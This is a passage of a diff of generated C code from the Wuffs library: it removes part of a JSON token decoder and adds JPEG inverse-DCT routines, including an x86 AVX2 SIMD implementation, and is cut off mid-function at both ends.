9633u)); -+ v_rk1 = ((uint32_t)(v_in1 * 12299u)); -+ v_rk3 = ((uint32_t)(v_in3 * 25172u)); -+ v_rk5 = ((uint32_t)(v_in5 * 16819u)); -+ v_rk7 = ((uint32_t)(v_in7 * 2446u)); -+ v_ri51 *= 4294964100u; -+ v_ri53 *= 4294946301u; -+ v_ri71 *= 4294959923u; -+ v_ri73 *= 4294951227u; -+ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); -+ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); -+ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); -+ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); -+ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); -+ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); -+ if (8u > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); -+ } -+ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; -+ } -+ return wuffs_base__make_empty_struct(); - } - --// -------- func json.decoder.decode_tokens -+// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 -+// -------- func jpeg.decoder.decode_idct_x86_avx2 - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_json__decoder__decode_tokens( -- wuffs_json__decoder* self, -- wuffs_base__token_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 1)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint32_t v_vminor = 0; -- uint32_t v_number_length = 0; -- uint32_t v_number_status = 0; -- uint32_t v_string_length = 0; -- uint32_t v_whitespace_length = 0; -- uint32_t v_depth = 0; -- uint32_t v_stack_byte = 0; -- uint32_t v_stack_bit = 0; -- uint32_t v_match = 0; -- uint32_t v_c4 = 0; -- uint8_t v_c = 0; -- uint8_t v_backslash = 0; -- uint8_t v_char = 0; -- uint8_t v_class = 0; -- uint32_t v_multi_byte_utf8 = 0; -- uint8_t v_backslash_x_ok = 0; -- uint8_t v_backslash_x_value = 0; -- uint32_t v_backslash_x_string = 0; -- uint8_t v_uni4_ok = 0; -- uint64_t v_uni4_string = 0; -- uint32_t v_uni4_value = 0; -- uint32_t v_uni4_high_surrogate = 0; -- uint8_t v_uni8_ok = 0; -- uint64_t v_uni8_string = 0; -- uint32_t v_uni8_value = 0; -- uint32_t v_expect = 0; -- uint32_t v_expect_after_value = 0; -- -- wuffs_base__token* iop_a_dst = NULL; -- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -- } -- } -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+static wuffs_base__empty_struct -+wuffs_jpeg__decoder__decode_idct_x86_avx2( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__slice_u8 a_dst_buffer, -+ uint64_t a_dst_stride, -+ uint32_t a_q) { -+ __m256i v_k_0000 = {0}; -+ __m256i v_k_8080 = {0}; -+ __m256i v_k_0000_0002 = {0}; -+ __m256i v_k_0001_FFFF = {0}; -+ __m256i v_k_0400_0000 = {0}; -+ __m256i v_k_29CF_1151_D630_1151 = {0}; -+ __m256i v_k_E333_133E_ADFD_1051 = {0}; -+ __m256i v_k_E6DC_25A1_1925_25A1 = {0}; -+ __m256i v_k_ECC1_E333_EFB0_ADFD = {0}; -+ __m128i v_az_coeffs = {0}; -+ __m256i v_az_ah00 = {0}; -+ __m256i v_az_ad00 = {0}; -+ __m256i v_az_eh00 = {0}; -+ __m256i v_az_adeh = {0}; -+ __m256i v_rows01 = {0}; -+ __m256i v_rows23 = {0}; -+ __m256i v_rows45 = {0}; -+ __m256i v_rows67 = {0}; -+ __m256i v_quants01 = {0}; -+ __m256i v_quants23 = {0}; -+ __m256i v_quants45 = {0}; -+ __m256i v_quants67 = {0}; -+ __m256i v_rows04 = {0}; -+ __m256i v_rows31 = {0}; -+ __m256i v_rows26 = {0}; -+ __m256i v_rows75 = {0}; -+ __m256i v_fp_rows62 = {0}; -+ __m256i v_fp_bq2662ad = {0}; -+ __m256i v_fp_bq2662eh = {0}; -+ __m256i v_fp_cb26ad = {0}; -+ __m256i v_fp_cb26eh = {0}; -+ __m256i v_fp_rows40pos = {0}; -+ __m256i v_fp_rows04neg = {0}; -+ __m256i v_fp_rows0pm4 = {0}; -+ __m256i v_fp_ccpmad = {0}; -+ __m256i v_fp_ccpmeh = {0}; -+ __m256i v_fp_cd01ad = {0}; -+ __m256i v_fp_cd01eh = {0}; -+ __m256i v_fp_cd32ad = {0}; -+ __m256i v_fp_cd32eh = {0}; -+ __m256i v_fp_sums7351 = {0}; -+ __m256i v_fp_sums5173 = {0}; -+ __m256i v_fp_ci73515173ad = {0}; -+ __m256i v_fp_ci73515173eh = {0}; -+ __m256i v_fp_cl7351ad = {0}; -+ __m256i v_fp_cl7351eh = {0}; -+ __m256i v_fp_rows13 = {0}; -+ __m256i v_fp_bq7153ad = {0}; -+ __m256i v_fp_bq7153eh = {0}; -+ __m256i v_fp_ck75ad = {0}; -+ __m256i v_fp_ck75eh = {0}; -+ __m256i v_fp_cl5173ad = {0}; -+ __m256i v_fp_cl5173eh = {0}; -+ __m256i v_fp_ck13ad = {0}; -+ __m256i v_fp_ck13eh = {0}; -+ __m256i v_intermediate01ad = {0}; -+ __m256i v_intermediate01eh = {0}; -+ __m256i v_intermediate01 = {0}; -+ __m256i v_intermediate32ad = {0}; -+ __m256i v_intermediate32eh = {0}; -+ __m256i v_intermediate32 = {0}; -+ __m256i v_intermediate45ad = {0}; -+ __m256i v_intermediate45eh = {0}; -+ __m256i v_intermediate45 = {0}; -+ __m256i v_intermediate76ad = {0}; -+ __m256i v_intermediate76eh = {0}; -+ __m256i v_intermediate76 = {0}; -+ __m256i v_ita0a1e0e1 = {0}; -+ __m256i v_ita2a3e2e3 = {0}; -+ __m256i v_ita4a5e4e5 = {0}; -+ __m256i v_ita6a7e6e7 = {0}; -+ __m256i v_ita0c0e0g0 = {0}; -+ __m256i v_ita1c1e1g1 = {0}; -+ __m256i v_ita4c4e4g4 = {0}; -+ __m256i v_ita5c5e5g5 = {0}; -+ __m256i v_ita0b0e0f0 = {0}; -+ __m256i v_ita4b4e4f4 = {0}; -+ __m256i v_itc0d0g0h0 = {0}; -+ __m256i v_itc4d4g4h4 = {0}; -+ __m256i v_intermediateae = {0}; -+ __m256i v_intermediatebf = {0}; -+ __m256i v_intermediatecg = {0}; -+ __m256i v_intermediatedh = {0}; -+ __m256i v_intermediatedb = {0}; -+ __m256i v_intermediatehf = {0}; -+ __m256i v_sp_cols62 = {0}; -+ __m256i v_sp_bq2662ad = {0}; -+ __m256i v_sp_bq2662eh = {0}; -+ __m256i v_sp_rb26ad = {0}; -+ __m256i v_sp_rb26eh = {0}; -+ __m256i v_sp_cols40pos = {0}; -+ __m256i v_sp_cols04neg = {0}; -+ __m256i v_sp_cols0pm4 = {0}; -+ __m256i v_sp_rcpmad = {0}; -+ __m256i v_sp_rcpmeh = {0}; -+ __m256i v_sp_rd01ad = {0}; -+ __m256i v_sp_rd01eh = {0}; -+ __m256i v_sp_rd32ad = {0}; -+ __m256i v_sp_rd32eh = {0}; -+ __m256i v_sp_sums7351 = {0}; -+ __m256i v_sp_sums5173 = {0}; -+ __m256i v_sp_ri73515173ad = {0}; -+ __m256i v_sp_ri73515173eh = {0}; -+ __m256i v_sp_rl7351ad = {0}; -+ __m256i v_sp_rl7351eh = {0}; -+ __m256i v_sp_cols13 = {0}; -+ __m256i v_sp_bq7153ad = {0}; -+ __m256i v_sp_bq7153eh = {0}; -+ __m256i v_sp_rk75ad = {0}; -+ __m256i v_sp_rk75eh = {0}; -+ __m256i v_sp_rl5173ad = {0}; -+ __m256i v_sp_rl5173eh = {0}; -+ __m256i v_sp_rk13ad = {0}; -+ __m256i v_sp_rk13eh = {0}; -+ __m256i v_final01ad = {0}; -+ __m256i v_final01eh = {0}; -+ __m256i v_final01 = {0}; -+ __m256i v_final32ad = {0}; -+ __m256i v_final32eh = {0}; -+ __m256i v_final32 = {0}; -+ __m256i v_final45ad = {0}; -+ __m256i v_final45eh = {0}; -+ __m256i v_final45 = {0}; -+ __m256i v_final76ad = {0}; -+ __m256i v_final76eh = {0}; -+ __m256i v_final76 = {0}; -+ __m256i v_fta0a1e0e1 = {0}; -+ __m256i v_fta2a3e2e3 = {0}; -+ __m256i v_fta4a5e4e5 = {0}; -+ __m256i v_fta6a7e6e7 = {0}; -+ __m256i v_fta0c0e0g0 = {0}; -+ __m256i v_fta1c1e1g1 = {0}; -+ __m256i v_fta4c4e4g4 = {0}; -+ __m256i v_fta5c5e5g5 = {0}; -+ __m256i v_fta0b0e0f0 = {0}; -+ __m256i v_ftc0d0g0h0 = {0}; -+ __m256i v_fta4b4e4f4 = {0}; -+ __m256i v_ftc4d4g4h4 = {0}; -+ __m256i v_finalae = {0}; -+ __m256i v_finalbf = {0}; -+ __m256i v_finalcg = {0}; -+ __m256i v_finaldh = {0}; -+ __m256i v_final0145 = {0}; -+ __m256i v_final2367 = {0}; -+ uint64_t v_final0 = 0; -+ uint64_t v_final1 = 0; -+ uint64_t v_final2 = 0; -+ uint64_t v_final3 = 0; -+ uint64_t v_final4 = 0; -+ uint64_t v_final5 = 0; -+ uint64_t v_final6 = 0; -+ uint64_t v_final7 = 0; -+ wuffs_base__slice_u8 v_remaining = {0}; - -- uint32_t coro_susp_point = self->private_impl.p_decode_tokens[0]; -- if (coro_susp_point) { -- v_depth = self->private_data.s_decode_tokens[0].v_depth; -- v_expect = self->private_data.s_decode_tokens[0].v_expect; -- v_expect_after_value = self->private_data.s_decode_tokens[0].v_expect_after_value; -+ if (8u > a_dst_stride) { -+ return wuffs_base__make_empty_struct(); - } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- if (self->private_impl.f_end_of_data) { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } -- if (self->private_impl.f_quirks[18u]) { -- if (self->private_impl.f_quirks[11u] || self->private_impl.f_quirks[12u] || self->private_impl.f_quirks[17u]) { -- status = wuffs_base__make_status(wuffs_json__error__bad_quirk_combination); -- goto exit; -+ v_k_0000 = _mm256_set_epi16((int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u), (int16_t)(0u)); -+ v_k_8080 = _mm256_set_epi16((int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u), (int16_t)(32896u)); -+ v_k_0000_0002 = _mm256_set_epi16((int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u), (int16_t)(2u), (int16_t)(0u)); -+ v_k_0001_FFFF = _mm256_set_epi16((int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(65535u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u), (int16_t)(1u)); -+ v_k_0400_0000 = _mm256_set_epi16((int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u), (int16_t)(0u), (int16_t)(1024u)); -+ v_k_29CF_1151_D630_1151 = _mm256_set_epi16((int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(54832u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u), (int16_t)(4433u), (int16_t)(10703u)); -+ v_k_E333_133E_ADFD_1051 = _mm256_set_epi16((int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4177u), (int16_t)(44541u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u), (int16_t)(4926u), (int16_t)(58163u)); -+ v_k_E6DC_25A1_1925_25A1 = _mm256_set_epi16((int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(6437u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u), (int16_t)(9633u), (int16_t)(59100u)); -+ v_k_ECC1_E333_EFB0_ADFD = _mm256_set_epi16((int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(44541u), (int16_t)(61360u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u), (int16_t)(58163u), (int16_t)(60609u)); -+ do { -+ if (0u == (wuffs_base__peek_u64le__no_bounds_check((const uint8_t*)(const void*)(self->private_data.f_mcu_blocks[0u] + 8u)) | wuffs_base__peek_u64le__no_bounds_check((const uint8_t*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u)))) { -+ v_az_coeffs = _mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_or_si128(_mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 8u)), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 24u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 32u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 40u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 48u))), _mm_lddqu_si128((const __m128i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 56u))); -+ if (0u == ((uint64_t)(_mm_cvtsi128_si64(_mm_packs_epi16(v_az_coeffs, v_az_coeffs))))) { -+ v_rows01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 0u)); -+ v_quants01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 0u)); -+ v_rows01 = _mm256_mullo_epi16(v_rows01, v_quants01); -+ v_az_ah00 = _mm256_slli_epi16(v_rows01, (int32_t)(2u)); -+ v_az_ad00 = _mm256_unpacklo_epi16(v_az_ah00, v_az_ah00); -+ v_az_eh00 = _mm256_unpackhi_epi16(v_az_ah00, v_az_ah00); -+ v_az_adeh = _mm256_inserti128_si256(v_az_ad00, _mm256_castsi256_si128(v_az_eh00), (int32_t)(1u)); -+ v_intermediateae = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(0u)); -+ v_intermediatebf = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(85u)); -+ v_intermediatecg = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(170u)); -+ v_intermediatedh = _mm256_shuffle_epi32(v_az_adeh, (int32_t)(255u)); -+ break; - } - } -- if (self->private_impl.f_quirks[15u] || self->private_impl.f_quirks[16u]) { -- if (a_dst) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_json__decoder__decode_leading(self, a_dst, a_src); -- if (a_dst) { -- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -- } -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -+ v_rows01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 0u)); -+ v_rows23 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 16u)); -+ v_rows45 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 32u)); -+ v_rows67 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_data.f_mcu_blocks[0u] + 48u)); -+ v_quants01 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 0u)); -+ v_quants23 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 16u)); -+ v_quants45 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 32u)); -+ v_quants67 = _mm256_lddqu_si256((const __m256i*)(const void*)(self->private_impl.f_quant_tables[a_q] + 48u)); -+ v_rows01 = _mm256_mullo_epi16(v_rows01, v_quants01); -+ v_rows23 = _mm256_mullo_epi16(v_rows23, v_quants23); -+ v_rows45 = _mm256_mullo_epi16(v_rows45, v_quants45); -+ v_rows67 = _mm256_mullo_epi16(v_rows67, v_quants67); -+ v_rows04 = _mm256_permute2x128_si256(v_rows01, v_rows45, (int32_t)(32u)); -+ v_rows31 = _mm256_permute2x128_si256(v_rows23, v_rows01, (int32_t)(49u)); -+ v_rows26 = _mm256_permute2x128_si256(v_rows23, v_rows67, (int32_t)(32u)); -+ v_rows75 = _mm256_permute2x128_si256(v_rows67, v_rows45, (int32_t)(49u)); -+ v_fp_rows62 = _mm256_permute2x128_si256(v_rows26, v_rows26, (int32_t)(1u)); -+ v_fp_bq2662ad = _mm256_unpacklo_epi16(v_rows26, v_fp_rows62); -+ v_fp_bq2662eh = _mm256_unpackhi_epi16(v_rows26, v_fp_rows62); -+ v_fp_cb26ad = _mm256_madd_epi16(v_fp_bq2662ad, v_k_29CF_1151_D630_1151); -+ v_fp_cb26eh = _mm256_madd_epi16(v_fp_bq2662eh, v_k_29CF_1151_D630_1151); -+ v_fp_rows40pos = _mm256_permute2x128_si256(v_rows04, v_rows04, (int32_t)(1u)); -+ v_fp_rows04neg = _mm256_sign_epi16(v_rows04, v_k_0001_FFFF); -+ v_fp_rows0pm4 = _mm256_add_epi16(v_fp_rows40pos, v_fp_rows04neg); -+ v_fp_ccpmad = _mm256_srai_epi32(_mm256_unpacklo_epi16(v_k_0000, v_fp_rows0pm4), (int32_t)(3u)); -+ v_fp_ccpmeh = _mm256_srai_epi32(_mm256_unpackhi_epi16(v_k_0000, v_fp_rows0pm4), (int32_t)(3u)); -+ v_fp_cd01ad = _mm256_add_epi32(v_fp_ccpmad, v_fp_cb26ad); -+ v_fp_cd01eh = _mm256_add_epi32(v_fp_ccpmeh, v_fp_cb26eh); -+ v_fp_cd32ad = _mm256_sub_epi32(v_fp_ccpmad, v_fp_cb26ad); -+ v_fp_cd32eh = _mm256_sub_epi32(v_fp_ccpmeh, v_fp_cb26eh); -+ v_fp_sums7351 = _mm256_add_epi16(v_rows75, v_rows31); -+ v_fp_sums5173 = _mm256_permute2x128_si256(v_fp_sums7351, v_fp_sums7351, (int32_t)(1u)); -+ v_fp_ci73515173ad = _mm256_unpacklo_epi16(v_fp_sums7351, v_fp_sums5173); -+ v_fp_ci73515173eh = _mm256_unpackhi_epi16(v_fp_sums7351, v_fp_sums5173); -+ v_fp_cl7351ad = _mm256_madd_epi16(v_fp_ci73515173ad, v_k_E6DC_25A1_1925_25A1); -+ v_fp_cl7351eh = _mm256_madd_epi16(v_fp_ci73515173eh, v_k_E6DC_25A1_1925_25A1); -+ v_fp_rows13 = _mm256_permute2x128_si256(v_rows31, v_rows31, (int32_t)(1u)); -+ v_fp_bq7153ad = _mm256_unpacklo_epi16(v_rows75, v_fp_rows13); -+ v_fp_bq7153eh = _mm256_unpackhi_epi16(v_rows75, v_fp_rows13); -+ v_fp_ck75ad = _mm256_add_epi32(_mm256_madd_epi16(v_fp_bq7153ad, v_k_ECC1_E333_EFB0_ADFD), v_fp_cl7351ad); -+ v_fp_ck75eh = _mm256_add_epi32(_mm256_madd_epi16(v_fp_bq7153eh, v_k_ECC1_E333_EFB0_ADFD), v_fp_cl7351eh); -+ v_fp_cl5173ad = _mm256_permute2x128_si256(v_fp_cl7351ad, v_fp_cl7351ad, (int32_t)(1u)); -+ v_fp_cl5173eh = _mm256_permute2x128_si256(v_fp_cl7351eh, v_fp_cl7351eh, (int32_t)(1u)); -+ v_fp_ck13ad = _mm256_add_epi32(v_fp_cl5173ad, _mm256_madd_epi16(v_fp_bq7153ad, v_k_E333_133E_ADFD_1051)); -+ v_fp_ck13eh = _mm256_add_epi32(v_fp_cl5173eh, _mm256_madd_epi16(v_fp_bq7153eh, v_k_E333_133E_ADFD_1051)); -+ v_intermediate01ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd01ad, v_fp_ck13ad), v_k_0400_0000), (int32_t)(11u)); -+ v_intermediate01eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd01eh, v_fp_ck13eh), v_k_0400_0000), (int32_t)(11u)); -+ v_intermediate01 = _mm256_packs_epi32(v_intermediate01ad, v_intermediate01eh); -+ v_intermediate32ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd32ad, v_fp_ck75ad), v_k_0400_0000), (int32_t)(11u)); -+ v_intermediate32eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_add_epi32(v_fp_cd32eh, v_fp_ck75eh), v_k_0400_0000), (int32_t)(11u)); -+ v_intermediate32 = _mm256_packs_epi32(v_intermediate32ad, v_intermediate32eh); -+ v_intermediate45ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd32ad, v_fp_ck75ad), v_k_0400_0000), (int32_t)(11u)); -+ v_intermediate45eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd32eh, v_fp_ck75eh), v_k_0400_0000), (int32_t)(11u)); -+ v_intermediate45 = _mm256_packs_epi32(v_intermediate45ad, v_intermediate45eh); -+ v_intermediate76ad = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd01ad, v_fp_ck13ad), v_k_0400_0000), (int32_t)(11u)); -+ v_intermediate76eh = _mm256_srai_epi32(_mm256_add_epi32(_mm256_sub_epi32(v_fp_cd01eh, v_fp_ck13eh), v_k_0400_0000), (int32_t)(11u)); -+ v_intermediate76 = _mm256_packs_epi32(v_intermediate76ad, v_intermediate76eh); -+ v_ita0a1e0e1 = _mm256_permute4x64_epi64(v_intermediate01, (int32_t)(216u)); -+ v_ita2a3e2e3 = _mm256_permute4x64_epi64(v_intermediate32, (int32_t)(114u)); -+ v_ita4a5e4e5 = _mm256_permute4x64_epi64(v_intermediate45, (int32_t)(216u)); -+ v_ita6a7e6e7 = _mm256_permute4x64_epi64(v_intermediate76, (int32_t)(114u)); -+ v_ita0c0e0g0 = _mm256_unpacklo_epi16(v_ita0a1e0e1, v_ita2a3e2e3); -+ v_ita1c1e1g1 = _mm256_unpackhi_epi16(v_ita0a1e0e1, v_ita2a3e2e3); -+ v_ita4c4e4g4 = _mm256_unpacklo_epi16(v_ita4a5e4e5, v_ita6a7e6e7); -+ v_ita5c5e5g5 = _mm256_unpackhi_epi16(v_ita4a5e4e5, v_ita6a7e6e7); -+ v_ita0b0e0f0 = _mm256_unpacklo_epi16(v_ita0c0e0g0, v_ita1c1e1g1); -+ v_itc0d0g0h0 = _mm256_unpackhi_epi16(v_ita0c0e0g0, v_ita1c1e1g1); -+ v_ita4b4e4f4 = _mm256_unpacklo_epi16(v_ita4c4e4g4, v_ita5c5e5g5); -+ v_itc4d4g4h4 = _mm256_unpackhi_epi16(v_ita4c4e4g4, v_ita5c5e5g5); -+ v_intermediateae = _mm256_unpacklo_epi64(v_ita0b0e0f0, v_ita4b4e4f4); -+ v_intermediatebf = _mm256_unpackhi_epi64(v_ita0b0e0f0, v_ita4b4e4f4); -+ v_intermediatecg = _mm256_unpacklo_epi64(v_itc0d0g0h0, v_itc4d4g4h4); -+ v_intermediatedh = _mm256_unpackhi_epi64(v_itc0d0g0h0, v_itc4d4g4h4); -+ } while (0); -+ v_intermediatedb = _mm256_permute2x128_si256(v_intermediatedh, v_intermediatebf, (int32_t)(32u)); -+ v_intermediatehf = _mm256_permute2x128_si256(v_intermediatedh, v_intermediatebf, (int32_t)(49u)); -+ v_sp_cols62 = _mm256_permute2x128_si256(v_intermediatecg, v_intermediatecg, (int32_t)(1u)); -+ v_sp_bq2662ad = _mm256_unpacklo_epi16(v_intermediatecg, v_sp_cols62); -+ v_sp_bq2662eh = _mm256_unpackhi_epi16(v_intermediatecg, v_sp_cols62); -+ v_sp_rb26ad = _mm256_madd_epi16(v_sp_bq2662ad, v_k_29CF_1151_D630_1151); -+ v_sp_rb26eh = _mm256_madd_epi16(v_sp_bq2662eh, v_k_29CF_1151_D630_1151); -+ v_sp_cols40pos = _mm256_permute2x128_si256(v_intermediateae, v_intermediateae, (int32_t)(1u)); -+ v_sp_cols04neg = _mm256_sign_epi16(v_intermediateae, v_k_0001_FFFF); -+ v_sp_cols0pm4 = _mm256_add_epi16(v_sp_cols40pos, v_sp_cols04neg); -+ v_sp_rcpmad = _mm256_srai_epi32(_mm256_unpacklo_epi16(v_k_0000, v_sp_cols0pm4), (int32_t)(3u)); -+ v_sp_rcpmeh = _mm256_srai_epi32(_mm256_unpackhi_epi16(v_k_0000, v_sp_cols0pm4), (int32_t)(3u)); -+ v_sp_rd01ad = _mm256_add_epi32(v_sp_rcpmad, 